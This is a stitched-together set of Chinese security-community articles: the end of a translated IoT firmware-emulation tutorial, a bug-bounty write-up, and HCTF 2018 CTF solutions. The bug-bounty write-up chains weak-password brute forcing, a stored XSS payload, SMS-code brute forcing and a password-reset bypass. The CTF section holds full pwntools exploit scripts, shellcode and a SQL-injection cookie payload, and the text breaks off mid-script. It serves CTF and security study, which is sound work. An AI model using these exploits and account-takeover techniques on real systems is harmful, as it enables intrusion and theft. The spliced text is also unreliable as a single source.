检查设备配置的另一个好方法是访问[供应商页面](https://www.asus.com/us/Networking-IoT-Servers/WiFi-Routers/ASUS-WiFi-Routers/RT-AC5300/techspec/ "供应商页面")或从互联网获取设备数据表。
为了模拟固件文件系统上可用的 HTTP 服务器，我们需要使用 qemu-user-static 方法。因此，通过在 rootfs
文件夹中移动静态二进制文件“qemu-arm-static”，我们可以执行 chroot
并在用户空间模式下模拟二进制文件。有关此技术的更多详细信息，[请参阅此文章](https://gitbook.seguranca-informatica.pt/arm/reverse-iot-devices/reverse-asus-rt-ac5300#using-qemu-user-static-approach "请参阅此文章")。
which qemu-arm-static
/usr/bin/qemu-arm-static
cp /usr/bin/qemu-arm-static squashfs-root/
cd squashfs-root/
sudo chroot . ./qemu-arm-static /bin/sh
此时，可以执行命令“httpd”以运行www服务器。尽管如此，可能会出现一些错误，例如与NVRAM相关的错误。这是我们在仿真固件期间面临的典型问题。有关如何模拟
NVRAM 的详细信息，请参阅本节。
设置 NVRAM 环境后，我们需要将路径导出到 “LD_PRELOAD” env var 中。再次运行 httpd 命令，文件系统将执行并与之交互。
sudo chroot . ./qemu-arm-static /bin/sh
export LD_PRELOAD="/firmadyne/libnvram.so"
httpd
如前所述，下一步是在 /etc/cert.pem 文件夹中创建一个证书。从这一点开始，就没有秘密了。我们需要跟踪启动路由器登录页面时出现的所有错误。
但是，qemu-static
方法在启动单个程序而不是整个文件系统时很有用。Httpd将启动所有路由器软件，在这种情况下，完全仿真将更有益，并且可能不那么难以实现。
## 完全仿真
当字符串命令被执行时，我们得到了一个有趣的字符串：Buildroot 2012.02。这表示用于编译内核版本 2.6.36
的文件系统的版本。简而言之，buildroot 是一个简单、高效且易于使用的工具，用于通过交叉编译生成嵌入式 Linux
系统。我们可以选择新目标系统的每个组件和所有特征，并从头开始编译一个新的内核。但首先，我们需要知道目标系统的详细信息，这就是我们在上一节中所做的。
从[此存储库](https://buildroot.org/downloads/ "此存储库")获取正确版本的 Buildroot
后，必须提示命令“make menuconfig”，并选择最合适的选项。
[本文中](https://gitbook.seguranca-informatica.pt/arm/reverse-iot-devices/reverse-asus-rt-ac5300#firmware-full-emulation "本文中")可以看到更多详细信息和扩展步骤。
最后，可以使用 make 命令编译内核。会发生一些错误，因此我们需要修复它们并学习很多东西。最后，将从头开始创建一个旧内核。
这样的结构将出现在我们的 **输出/图像** 文件夹中：
-rw-r--r-- 1 kali kali 62914560 Jul 27 18:30 rootfs.ext2
-rw-r--r-- 1 kali kali 1437696 Jul 27 18:30 rootfs.squashfs
-rw-r--r-- 1 kali kali 4085760 Jul 27 18:30 rootfs.tar
-rwxr-xr-x 1 kali kali 446 Jul 27 18:30 start-qemu.sh
-rwxr-xr-x 1 kali kali 8880 Jul 27 18:27 versatile-pb.dtb
-rw-r--r-- 1 kali kali 2871872 Jul 27 18:27 zImage
可以使用以下命令实现完全仿真：
qemu-system-arm -M versatilepb -kernel zImage -dtb versatile-pb.dtb -drive file=rootfs.ext2,if=scsi,format=raw -append "rootwait root=/dev/sda console=ttyAMA0,115200"
从这一点开始，我们可以与路由器的登录页面进行交互，并使用 burp-suite
对其进行调试，以查找通常由从初始固件映像中提取的文件系统内可用的组件或软件调用或引入的 Web 漏洞。
## 关于逆向工程的最终想法
固件的仿真并非易事，因为没有神奇的公式可以做到这一点。每个固件文件都是唯一的，根据文件的复杂性和保护，该过程可能很困难。例如，在旧内核版本下执行固件可能是一项艰巨的任务，主要是修复我们在此过程中可能出现的所有错误。另一方面，加密的使用增加了额外的复杂性。诀窍包括分析目标设备的旧固件版本，以了解加密过程如何工作或从实际设备获取解压缩的固件。
总之，仿真固件带来了许多好处，包括无需购买真实设备即可测试软件。让我们认真分析固件。
翻译至地址：<https://resources.infosecinstitute.com/topic/fundamentals-of-iot-firmware-reverse-engineering/> | 社区文章 |
根据手头上的信息，最大化的利用，一次简单的漏洞挖掘，感觉过程很有意思分享一下~
**0x01** 初始
收集子域，也是渗透的初始。这里我只是简单用了fofa发现了该公司用来管理合作的一些子域名然后发现是登录管理页面，深入然后发现很多的敏感信息。也是从其中的一处敏感泄露，引发了众多漏洞的挖掘。整个测试其实就花了半个小时不到。不过男人不能说自己快！，其实我花了很长时间呢。还是那句话千里之堤毁于蚁穴呀。
**0x02** 挖掘开始
首先我发现了两处子域，直接上fofa简单粗暴有效
很明显的都是登录系统，而且都是供应商的登录系统。所以这里就引发一个问题，我们没有账号，也不知道账号的命名。所以很多测试都无从下手。它这里一个系统也提供了注册功能，但是需要提供企业的一系列证明，通过审核之后才能拥有账号。
那么要怎么办呢，这里我采用JSFinder工具，首先对两个登录系统，扫了一遍js。看看是否能有一些突破点。于是这一扫也就是整个渗透的开始。
这一扫，我发现了一些敏感信息泄露，泄露了一些管理员的创建时间，和名字，但是都无关轻重
但是我发现了这个
xxx.com/超级供应商2.0功能操作手册-V1.0.0.doc
一个操作手册的链接，遂下载下来
这个文件就是系统的突破口，因为从中我们得到了，系统的账号命名规律，还有一些手机号，
这些信息都是我们之后深入测试的突破口
既然我们得到了账号的命名规律。然后我们发现此系统又是登录次数错误密码过多，才会出现验证码拦截。
于是当然万能弱口令走一波。用密码123456，和账号当做用户，密码去撞，
撞出来很多有效账号
遂登录进去
尽可能的收集信息
当时我的想法是如果无法有获取到大量数据的漏洞，就从别处下手
主要也是爆出来的账号功能权限大部分受阻，所以还是在后台只找到了一处越权打全站的存储xss。
“><img src=x onerror=alert(1)><”
简单的闭合
前面的shopbannerid 就是可以越权修改的地方
只要用户点击广告设置的地方，即可触发xss
这个后台xss正好我们是可以验证的，因为爆出来很多账号，验证一下发现可行，所以即可越权打全部商户的cookie了
这也是从后台发现的一处可能危害较大的洞。
其实我认为我在后台发现最重要的地方是下面这个功能
然后我导出发现
里面存放着大量的商户数据，然后我从中又发现一部分账号的命名规律
这代表我们又可以加以利用啊。
不过这个只是一部分关键因素
因为我们前台的功能还有一处忘记密码啊。
它这里，在我刚开始挖掘的时候就注意到，但是苦于无法知道账号和对应的公司名称，遂先放置
但是通过里面的信息泄露，我发现了命名规律和部分的账号名称
然后通过查看js提示 发现发送的验证码是4位。遂爆破
成功可以重置密码
而且我们这里是可以重置全站用户的，为什么这么说呢
因为我发现这一处好玩的功能点
当你输入一些开头的文字，它下面会提取相似的供你选择，综合手头上的信息
我们已经掌握了全部的账号命名规律，然后公司名称那里也提供了
然后我发现这一处，可以固定公司名称，爆破账号，遂爆出对应的账号，即可修改全站的密码
包括管理员的。
而且上图可以发现，他这个操作手册其实是登录进去提供的功能下载的。
而且当我们重置密码进去之后，里面有一处会员账号导出的功能，利用这一点我们可以不断的导出账号，发现它全部的账号命名规律
这样就可以最大话的，进行攻击。
说完这个平台，该到另一个平台了
它这一处系统同样是商户系统，是用来给商户进行采购的
进行忘记密码功能
这里我直接跳入到了第二步，第一处要输入商户手机号。
返回上文，在我们导出的大批的商户数据，不就是含括手机号嘛
于是乎，我直接拿来一个进行测试
这里输入验证码抓包，将手机号换成自己的
输入手机验证码抓包
将手机号换成我的
然后成功到密码重置界面
它这里应该只是看userid，在它发送验证码我手机收到验证码的时候，我们其实就会感觉到异常，因为它这里发送验证码是没有去和商户的手机号进行查询对比，是否存在发的
而且它最后一步，还带上了userid的值，所以我就可以通过替换手机号，还重置所有的商户密码
再给各位观众老爷看一下，这是从上一个表格拿到的手机号。结合起来
到这里我就没有去测试了，因为我觉得我能修改你两个商户系统的所有用户密码，已经是很高的危害了。
而且需要修改密码才能进去继续测试，作为正义的白帽子应该点到为止~所以就到此结束啦
**0x03** 总结
让我们来顺一下。一切罪恶的源头都要从，那一处由js泄露的敏感文件开始。从那里我们得知了账号命名规则。然后通过规则爆出出大量的弱口令，从而进去后台。又从后台发现大量的会员商户的账号和对应的手机号和对应的商户名称，这样我们才能继续测试忘记密码处的功能，然后我又通过这个手机号发现，我可以在另一个商户系统中使用。从而形成一个重置两个系统的商户密码的攻击链。
这一切还是由于一处未授权下载文件引起的啊。千里之堤毁于蚁穴
如何根据手头上的信息最大化攻击，emmm感觉才算是漏洞挖掘的有意思之处叭 | 社区文章 |
# HCTF 2018
[TOC]
比赛网址：<https://hctf.io/#/>
比赛时间：11月9日 20:00 - 11月11日 20:00
Team Page: <http://nu1l-ctf.com/>
## PWN
### the end
from pwn import *
#context.aslr = False
context.log_level = 'debug'
def pwn(p):
p.recvuntil('here is a gift ')
libc_base = int(p.recvuntil(',', drop=True), 16) - 0x0CC230
stdout_vtable = libc_base + 0x3c56f8
fake_io_jump = 0x3c3fb0 + libc_base
remote_addr = libc_base + 0x3c4008
one_gadget = libc_base + 0x4526a
one_gadget = libc_base + 0xF02B0
log.success('libc: {}'.format(hex(libc_base)))
log.success('stdout_vtable: {}'.format(hex(stdout_vtable)))
log.success('fake_io_jump: {}'.format(hex(fake_io_jump)))
log.success('remote_addr: {}'.format(hex(remote_addr)))
log.success('one_gadget: {}'.format(hex(one_gadget)))
#0x3c5c58
payload = p64(stdout_vtable)
payload += p64(fake_io_jump)[0]
payload += p64(stdout_vtable + 1)
payload += p64(fake_io_jump)[1]
payload += p64(remote_addr)
payload += p64(one_gadget)[0]
payload += p64(remote_addr + 1)
payload += p64(one_gadget)[1]
payload += p64(remote_addr + 2)
payload += p64(one_gadget)[2]
#gdb.attach(p)
p.send(payload)
p.interactive()
if __name__ == '__main__':
p = remote('150.109.44.250', 20002)
p.recvuntil('Input your token:')
p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U')
#p = process('./the_end')
#p.interactive()
pwn(p)
### babyprintf_ver2
from pwn import *
context.log_level = 'debug'
context.aslr = False
def pwn(p):
p.recvuntil('So I change the buffer location to ')
program_base = int(p.recvuntil('\n', drop=True), 16) - 0x202010
log.success('program_base: {}'.format(hex(program_base)))
p.sendline('%a')
p.recvuntil('0x0.0')
libc_base = int(p.recvuntil('p', drop=True), 16) - 0x50e8
log.success('libc_base: {}'.format(hex(libc_base)))
p.sendline('%100000cb')
p.recvuntil('b')
malloc_hook = 0x3ebc30
remote = libc_base + malloc_hook - 0x10
payload = 'a'*0xf + '\x00'
payload += p64(program_base + 0x202028)
payload += p64(0x00000000fbad2887) + p64(0)
payload += p64(0) + p64(0)
payload += p64(remote) + p64(remote)
payload += p64(remote + 0x20) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(1) + p64(0xffffffffffffffff)
payload += p64(0) + p64(libc_base + 0x3ed8c0) # lock
payload += p64(0xffffffffffffffff) + p64(0)
payload += p64(libc_base + 0x3eb8c0) + p64(0) # _IO_wide_data_1
payload += p64(0) + p64(0)
payload += p64(0x00000000ffffffff) + p64(0)
payload += p64(0) + p64(libc_base + 0x3e82a0) # vtable
#gdb.attach(p)
log.info('remote: {}'.format(hex(remote)))
log.info('fake: {}'.format(hex(program_base + 0x202028)))
p.sendline(payload)
one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
payload = 'a' + p64(one_gadget[1] + libc_base)
p.sendline(payload)
payload = 'a'*0xf + '\x00'
payload += p64(program_base + 0x202028)
payload += p64(0x00000000fbad2887) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(1) + p64(0xffffffffffffffff)
payload += p64(0) + p64(libc_base + 0x3ed8c0) # lock
payload += p64(0xffffffffffffffff) + p64(0)
payload += p64(libc_base + 0x3eb8c0) + p64(0) # _IO_wide_data_1
payload += p64(0) + p64(0)
payload += p64(0x00000000ffffffff) + p64(0)
payload += p64(0) + p64(libc_base + 0x3e82a0) # vtable
p.sendline(payload)
p.sendline('%100000c')
#p.recvuntil('a'*0xf)
p.interactive()
if __name__ == '__main__':
#p = process('./babyprintf_ver2')
p = remote('150.109.44.250', 20005)
p.recvuntil('Input your token:')
p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U')
pwn(p)
### easyexp
最后还是做出来了，然而比赛结束了
from pwn import *
context.aslr = False
context.log_level = 'debug'
def mkdir(p, filename):
p.recvuntil('$')
p.clean()
p.sendline('mkdir ' + filename)
def mkfile(p, filename, data):
p.recvuntil('$')
p.clean()
p.sendline('mkfile ' + filename)
p.recvuntil('write something:')
p.send(data)
def cat(p, filename):
p.recvuntil('$')
p.clean()
p.sendline('cat ' + filename)
def trig_cve(p, buf):
mkdir(p, '../../{}'.format(buf))
def pwn(p):
libc = ELF('./libc-2.23.so')
p.recvuntil('input your home\'s name: ')
p.sendline('(unreachable)')
mkfile(p, 'ccc', '/bin/sh\n')
payload = '/'*0x87
mkfile(p, '(unreachable)/tmp', payload + '\n')
payload = 'z'*0x87
mkfile(p, 'aaa', payload + '\n')
payload = 'b\x90'
trig_cve(p, payload)
trig_cve(p, '')
payload = p64(0) + p64(0x81)
payload += p64(0x603180 - 0x18 + 0x60) + p64(0x603180 - 0x10 + 0x60)
payload = payload.ljust(0x80, 'c')
payload += p64(0x80)[:7]
mkfile(p, '(unreachable)/tmp', payload)
# unlink
mkfile(p, '123', '\n')
payload = '\x00'*0x18 + p64(0x603038) # puts
payload += p32(0x87)[:3]
mkfile(p, '(unreachable)/tmp', payload + '\n')
cat(p, '(unreachable)/tmp')
libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x6f690
log.success('libc_base: {}'.format(hex(libc_base)))
payload = p64(libc_base + 0x45390) # system
mkfile(p, '(unreachable)/tmp', payload + '\n')
cat(p, 'ccc')
#gdb.attach(proc.pidof(p)[0])
p.interactive()
if __name__ == '__main__':
local = 0
if local:
p = process('./easyexp', env = {'LD_PRELOAD': './libc-2.23.so'})
else:
p = remote('150.109.44.250', 20004)
p.recvuntil('token:')
p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U')
pwn(p)
### christmas
#coding=utf8
from pwn import *
context.arch = 'amd64'
def make_guess_shellcode(n, ch):
# flag > ch 死循环
# 否则退出
shellcode = '''
mov rdx, 0x10700ee0
xor rdx, 0x10101010
mov rbx, [rdx] # 0x601ef0
mov rbx, [rbx+0x8]
mov rbx, [rbx+0x18]
mov rbx, [rbx+0x18]
mov rbx, [rbx+0x18]
mov rbx, [rbx+0x18]
mov rbx, [rbx+0x18]
mov rbx, [rbx+0x18] # rbx = linkmap flag.so
mov rdx, 0x10703020
xor rdx, 0x10101010
mov rcx, [rdx] # 0x602030
mov rdx, 0x101d5030
xor rdx, 0x10101010
add rcx, rdx # 0xd4020 __libc_dlsym
mov rdi, rbx
/* push 'flag_yes_1337\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x373333315f
xor [rsp], rax
mov rax, 0x7365795f67616c66
push rax
mov rsi, rsp
call rcx
call rax
'''
payload = asm(shellcode)
payload += asm('xor rbx, rbx')
if n != 0:
payload += asm('mov bl, {}'.format(n))
payload += asm('''
xor rcx, rcx
add rax, rbx
mov cl, byte ptr [rax]
''')
payload += asm('''
fuck:
cmp cl, {}
jg fuck
'''.format(ch))
return payload
def shellcoe_encode(shellcode):
payload = asm('''
push rax
xor al, 0x33
''')
p = remote('192.168.178.1', 24356)
p.send(shellcode)
payload += p.recvall()
p.close()
return payload
def guess(n, ch):
# flag > ch ret true
#p = process('./christmas-bak')
p = remote('150.109.44.250', 20003)
p.recvuntil('Input your token:')
p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U')
log.info('start')
#p = process('./christmas')
try:
p.recvuntil('can you tell me how to find it??\n')
p.clean()
payload = make_guess_shellcode(n, ch)
payload = payload.ljust(0x100 - 48, 'a')
payload = shellcoe_encode(payload)
#log.info(repr(payload))
#gdb.attach(p)
p.sendline(payload)
#p.interactive()
#exit()
p.recvuntil('\n', timeout=1)
except EOFError:
p.close()
return False
p.close()
return True
def pwn():
# HCTF{dyn_15_4w350m3}
flag = 'HCTF{'
while True:
l = 0
r = 255
idx = len(flag)
while True:
m = (l + r) / 2
if m == l:
m = r
break
ret = guess(idx, m)
if ret:
log.info('flag[{}] > {}({})'.format(idx, m, repr(chr(m))))
l = m
else:
log.info('flag[{}] <= {}({})'.format(idx, m, repr(chr(m))))
r = m
log.success('flag: {}'.format(repr(flag)))
#log.info('{} {} {}'.format(l, r, m))
flag += chr(m)
def test1():
p = process('./christmas')
payload = payload = asm('''
push rax
xor al, 0x33
''')
payload += 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2u0z4r3b4Z2Z122C2J4u382B0J2A2B0z3X2H125O2N7k0p4y2y2H124y2z2J2j5K2A2K2p4y2s2I0z5N2t2J165L002H083c5K2r0I0B0X0y4s3V0i2B0j2B124y1P1M4L400q0b0V2B084u4K2B0c2B0Y0x1K3t165K4k0z4M3c2F2J1l7p0x4s4z7p2H2C0s1M0J402Z4y5o8O4S8O4H0x0H8o7k125o0x0h3z3X083z8K2E0N3Y0U2x0P010P2L0U2M0U0Q0Q2p0Q130Q070S2C0Q0Y0U2t0U2J0S2C0Q120S2C0Q080Q2y0P2J0R2u0P0W0T2J0U2j0Q7K0U2L0R120S2G0S2K0P2m0V2q0Q2y0U2r0U7K0V2q0S2I0S2B0Q2r0P2L0Q2K0U0Q0S7k04'
payload = payload.ljust(0xf00 - 48, 'a')
payload += 'flag_yes_1337'
p.recvuntil('can you tell me how to find it??\n')
p.clean()
gdb.attach(p)
p.sendline(payload)
p.interactive()
def test():
s = make_guess_shellcode(0, ord('f') + 1) + 'a'*0x50
log.info(repr(s))
# fp = open('/home/pwn/Desktop/test.bin', 'wb')
# fp.write(s)
# fp.close()
shellcoe_encode(s)
if __name__ == '__main__':
#p = process('./christmas')
pwn()
#test()
<https://github.com/SkyLined/alpha3> 发现了这个东西，不过shellcode里面不能有\0
\0解决了
但是要求某个寄存器指向当前shellcode....
有rax
rax不行 要求是rax恰好指向当前shellcode
namespace shellcodeEncodeServer
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Server is running ... ");
IPAddress ip = new IPAddress(new byte[] { 0, 0, 0, 0 });
TcpListener listener = new TcpListener(ip, 24356);
listener.Start();
Console.WriteLine("Start Listening ...");
while (true)
{
TcpClient remoteClient = listener.AcceptTcpClient();
Console.WriteLine("Client Connected！{0} <-- {1}",
remoteClient.Client.LocalEndPoint, remoteClient.Client.RemoteEndPoint);
var s = remoteClient.GetStream();
byte[] buf = new byte[4096];
int readSize = s.Read(buf, 0, 4096);
write2File("D:\\Desktop\\test.bin", buf, readSize);
Processor processor = new Processor();
var encode = processor.GetEncodeCod();
if(encode == null)
{
s.Write(Encoding.Default.GetBytes("error"), 0, 5);
remoteClient.Close();
continue;
}
s.Write(Encoding.Default.GetBytes(encode), 0, encode.Length);
remoteClient.Close();
}
}
static private void write2File(string filePathName, byte[] bytes,int length)
{
if (File.Exists(filePathName))
{
File.Delete(filePathName);
}
FileStream stream = new FileStream(filePathName, FileMode.Create);
stream.Write(bytes, 0, length);
stream.Flush();
stream.Close();
}
}
class Processor
{
private Process p;
private string encodeCode;
public Processor()
{
p = new Process();
p.StartInfo.FileName = "C:\\python27-x64\\python.exe";
p.StartInfo.Arguments = "D:\\Desktop\\alpha3\\ALPHA3.py x64 ascii mixedcase rax --input=\"D:\\Desktop\\test.bin\"";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler((senders, e) =>
{
string getData = e.Data;
if (String.IsNullOrEmpty(getData))
{
return;
}
encodeCode = getData;
});
p.Start();
p.BeginOutputReadLine();
p.PriorityClass = ProcessPriorityClass.High;
}
public string GetEncodeCod()
{
int count = 0;
while (String.IsNullOrEmpty(this.encodeCode))
{
Thread.Sleep(50);
count++;
if (count >= 40)
{
break;
}
}
return this.encodeCode;
}
~Processor()
{
p.Close();
}
}
}
这个encode工具只能在windows下用，只能开个server让那边连过来再encode，很蠢（
## Reverse
### LuckyStar☆
一堆smc，一堆反调
用ce附上去终于dump下来内存了
base64变表加密加一个随机数的异或，还是通过ce去读栈上加密之后的信息然后还原出这个异或的表
>>> en = 'ywfHywfHywfHywfHywfHywfHywfHywfHywfHywe='
>>> de = '71 F6 5F C5 39 7E 24 5C A9 85 FE 2E 4A A1 AF FA B8 E2 D0 56 BE 5A 7A A7 AB C5 39 2E F5 CE 97 70 6D 7F E9 86 90 08 68 38'
>>> de = de.split(' ')
>>> de
['71', 'F6', '5F', 'C5', '39', '7E', '24', '5C', 'A9', '85', 'FE', '2E', '4A', 'A1', 'AF', 'FA', 'B8', 'E2', 'D0', '56', 'BE', '5A', '7A', 'A7', 'AB', 'C5', '39', '2E', 'F5', 'CE', '97', '70', '6D', '7F', 'E9', '86', '90', '08', '68', '38']
>>> de_1 = []
>>> de_1 = ''
>>> for i in de:
... de_1 += chr(int(i,16))
...
>>> table = []
>>> for i in xrange(40):
... table.append(ord(de_1[i])^ord(en[i]))
...
>>> table
[8, 129, 57, 141, 64, 9, 66, 20, 208, 242, 152, 102, 51, 214, 201, 178, 193, 149, 182, 30, 199, 45, 28, 239, 210, 178, 95, 102, 140, 185, 241, 56, 20, 8, 143, 206, 233, 127, 13, 5]
import ida_bytes
start = 0x403520
table = [8, 129, 57, 141, 64, 9, 66, 20, 208, 242, 152, 102, 51, 214, 201, 178, 193, 149, 182, 30, 199, 45, 28, 239, 210, 178, 95, 102, 140, 185, 241, 56, 20, 8, 143, 206, 233, 127, 13, 5]
res = ''
for i in xrange(32):
res += chr(ida_bytes.get_byte(i+start) ^ table[i])
print res
然后直接解base64即可
#include "stdafx.h"
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char base64_table[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";
char* base64_encode(const char* data, size_t len)
{
char *des = (char*)malloc(1 + 4 * len / 3);
memset(des, 0, 1 + 4 * len / 3);
size_t index = 0;
size_t i;
for (i = 0; i < len - 3; i += 3)
{
size_t index1 = data[i] >> 2; //first
size_t index2 = (data[i] % 4) * 16 + (data[i + 1] >> 4); //second
size_t index3 = (data[i + 1] % 16) * 4 + (data[i + 2] >> 6); //third
size_t index4 = data[i + 2] % 64;
des[index++] = base64_table[index1];
des[index++] = base64_table[index2];
des[index++] = base64_table[index3];
des[index++] = base64_table[index4];
}
if (len - i == 1)
{
size_t index1 = data[i] >> 2;
size_t index2 = (data[i] % 4) * 16 + (data[i + 1] >> 4); //second
des[index++] = base64_table[index1];
des[index++] = base64_table[index2];
des[index++] = '=';
des[index++] = '=';
}
else if (len - i == 2)
{
size_t index1 = data[i] >> 2;
size_t index2 = (data[i] % 4) * 16 + (data[i + 1] >> 4); //second
size_t index3 = (data[i + 1] % 16) * 4 + (data[i + 2] >> 6); //third
des[index++] = base64_table[index1];
des[index++] = base64_table[index2];
des[index++] = base64_table[index3];
des[index++] = '=';
}
else
{
size_t index1 = data[i] >> 2; //first
size_t index2 = (data[i] % 4) * 16 + (data[i + 1] >> 4); //second
size_t index3 = (data[i + 1] % 16) * 4 + (data[i + 2] >> 6); //third
size_t index4 = data[i + 2] % 64;
des[index++] = base64_table[index1];
des[index++] = base64_table[index2];
des[index++] = base64_table[index3];
des[index++] = base64_table[index4];
}
des[index++] = 0;
return des;
}
char* base64_decode(char *data)
{
size_t index = 0;
size_t len = strlen(data);
char* des = (char*)malloc(1 + len * 3 / 4);
memset(des, 0, 1 + len * 3 / 4);
for (size_t i = 0; i < len; i += 4)
{
size_t index1 = strchr(base64_table, data[i]) - base64_table;
size_t index2 = strchr(base64_table, data[i + 1]) - base64_table;
size_t index3 = strchr(base64_table, data[i + 2]) - base64_table;
size_t index4 = strchr(base64_table, data[i + 3]) - base64_table;
des[index++] = ((index1 % 64) << 2) + ((index2 % 64) >> 4);
des[index++] = ((index2 % 16) << 4) + ((index3 % 64) >> 2);
des[index++] = ((index3 % 4) << 6) + (index4 % 64);
}
des[index] = 0;
return des;
}
int main()
{
char test[] = "Agn0zNSXENvTAv9lmg5HDdrFtw8ZFq==";
char *de_test = base64_decode(test);
printf("%s\n", de_test);
system("pause");
return 0;
}
### Seven
经典迷宫题，调了kbdclass 直接读键盘
* * * * * * * * * * * * * * * *
o . . . . . . . . . . . . . . *
* * * * * * * * * * * * * * . *
* * * * * * * * * * * * . . . *
* * * * * * * * * * * . . * * *
* * * * * * * * * * . . * * * *
* * * * * * * * * . . * * * * *
* * * * * * * * . . * * * * * *
* * * * * * * . . * * * * * * *
* * * * * * . . * * * * * * * *
* * * * * . . * * * * * * * * *
* * * * . . * * * * * * * * * *
* * * * 7 * * * * * * * * * * *
* * * * * * * * * * * * * * * *
### PolishDuck
一个bad usb的固件
<http://invicsfate.cc/2018/04/13/HITBCTF2018-reverse-hex/>
index_table=[320,332, 339, 354, 375, 395, 425, 456, 467, 491, 510, 606, 519, 540, 551, 582, 609, 624, 651, 664, 675, 689, 604, 698, 709, 720, 727, 754, 775, 784, 606, 807,
838, 988, 845, 868, 883, 911, 934, 947, 959, 976, 991, 1007, 1024, 1099, 1043, 1068, 1083, 1103, 1106, 1168, 1119, 1132, 1149, 1166, 1175, 1182, 1205, 1227,
1093, 1093, 1238, 1101, 1101, 1172, 1253, 1103]
import ida_bytes,idaapi
def my_get_str(ea):
#print(hex(ea))
res = ''
i = 0
while True:
tt = ida_bytes.get_byte(ea+i)
if tt ==0 or tt & 0x80 != 0:
break
res += chr(tt)
i += 1
return res
guess_offest = [6480]
for offest in guess_offest:
res = ''
for i in index_table:
res += my_get_str(i+offest)
res += '\n'
print(res+'\n')
感觉这个大概没问题了，都是可见字符。
notepad.exe
44646 64094
71825 66562 15873 21793 7234 17649 43827
2155 74767 35392
88216 83920 16270 20151 5268 90693
82773 716 27377 44329 49366 65217
1653 38790 70247 97233 18347 22117 94686
49428 72576 52460 47541 46975 53769 94005
83065 72914
5137 87544 40301 71583 20370 37968 17478
55350
40532 10089
13332 70643
24170 46845 16048 23142 31895 62386 12179 94552 79082
19517 52918 91580 38900 89883
38412 91537 70 98594 57553 35275 62912 4755
16737 27595 21031 43551 64482
3550
*++-+*+
*++
-*+*++-+
-+++-+
-+
+*+
*+*
++-*++
+-+*+++
- *+++-+*
+++-++-+- *
++*++-+-*
+*++*+*++
*+*++
-*+
*++-*+
+
`
这堆东西有什么用吗。
题出错了，差评差评差评
notepad.exe
44646
+ ( 64094 + (
71825 * ( ( 15873 +
( 21793 * ( 7234 +
( 17649 * ( ( 2155 + ( 74767
* ( 35392 + ( 88216 * ( 83920
+ ( 16270
+ ( 20151 * ( 5268 + (
90693 * ( 82773 +
( 716 +
(
27377 * ( 44329 + (
49366 * (
( ( 38790 + ( 70247 * ( 97233
+ ( 18347 + ( 22117 * ( (
( 72576 + ( (
47541 + ( 46975 + ( 53769
* ( 94005 +
( ( 72914
+ ( 5137 + (
87544 *
( (
71583 + (
20370 + (
37968
* ( 17478 + ( ( 40532 + (
10089 + ( 13332 * (
( 24170
+ ( 46845 * ( 16048 +
(
23142 * ( 31895 + ( 62386 * (
12179
+
( 94552 + ( ( ( 52918
+ ( 91580 + (
( ( 38412 + ( 91537 * ( 70
+ ( 98594 * ( ( 35275
+ ( 62912 *
( 4755 + (
16737 * ( 27595
+ ( ( 43551 +
( 64482 * 3550
) ) - 21031 ) )
) ) ) ) - 57553 )
) ) )
) - 89883 ) - 38900 ) )
) - 19517 ) -
79082 ) ) ) ) ) ) ) )
)
- 70643 ) )
) ) -
55350 ) ) )
) ) - 40301 ) )
) ) - 83065 ) )
) ) ) -
52460
) ) - 49428 ) - 94686
) ) ) ) ) ) - 1653 )
- 65217 )
) ) ) ) ) )
) ) ) ) ) )
) ) - 43827 )
) )
) )
-
66562 ) )
)
In [3]: s
Out[3]: '44646+(64094+(71825*((15873+(21793*(7234+(17649*((2155+(74767*(35392+(88216*(83920+(16270+(20151*(5268+(90693*(82773+(716+(27377*(44329+(49366*(((3
8790+(70247*(97233+(18347+(22117*(((72576+((47541+(46975+(53769*(94005+((72914+(5137+(87544*((71583+(20370+(37968*(17478+((40532+(10089+(13332*((24170+(4684
5*(16048+(23142*(31895+(62386*(12179+(94552+(((52918+(91580+(((38412+(91537*(70+(98594*((35275+(62912*(4755+(16737*(27595+((43551+(64482*3550))-21031))))))- 57553)))))-89883)-38900)))-19517)-79082)))))))))-70643))))-55350)))))-40301))))-83065)))))-52460))-49428)-94686))))))-1653)-65217)))))))))))))))-43827)))))- 66562)))'
In [4]: eval(s)
Out[4]: 245160825372454180181035013425094268426669928853472000168466067114757309065141074622457247656884957267064733565L
In [5]: hex(_)
Out[5]: '0x686374667b50306c3173685f4475636b5f5461737433735f44336c3163693075735f44305f555f5468316e6b3f7dL'
In [6]: '686374667b50306c3173685f4475636b5f5461737433735f44336c3163693075735f44305f555f5468316e6b3f7d'.decode('hex')
Out[6]: 'hctf{P0l1sh_Duck_Tast3s_D3l1ci0us_D0_U_Th1nk?}'
## Web
### kzone
#encoding:utf-8
import requests
import string
import base64
def catch(num,str):
url="http://kzone.2018.hctf.io/admin/index.php"
header={
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh,en-US;q=0.7,en;q=0.3',
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/41.0"
,"Cookie":'''PHPSESSID=f4e2rj8ofjp0r4k4s205drkj74;islogin=1; login_data={"admin_user":"admin'and((select(mi\\u0064(hex(group_concat(F1a9)),%d,1))from(F1444g))\\u003d'%s')\\u0023","admin_pass":true};'''%(num,str)
}
#data={"username":"admin'&&mid(password,%d,1)='%s'#" % (num,str),"password":"1"}
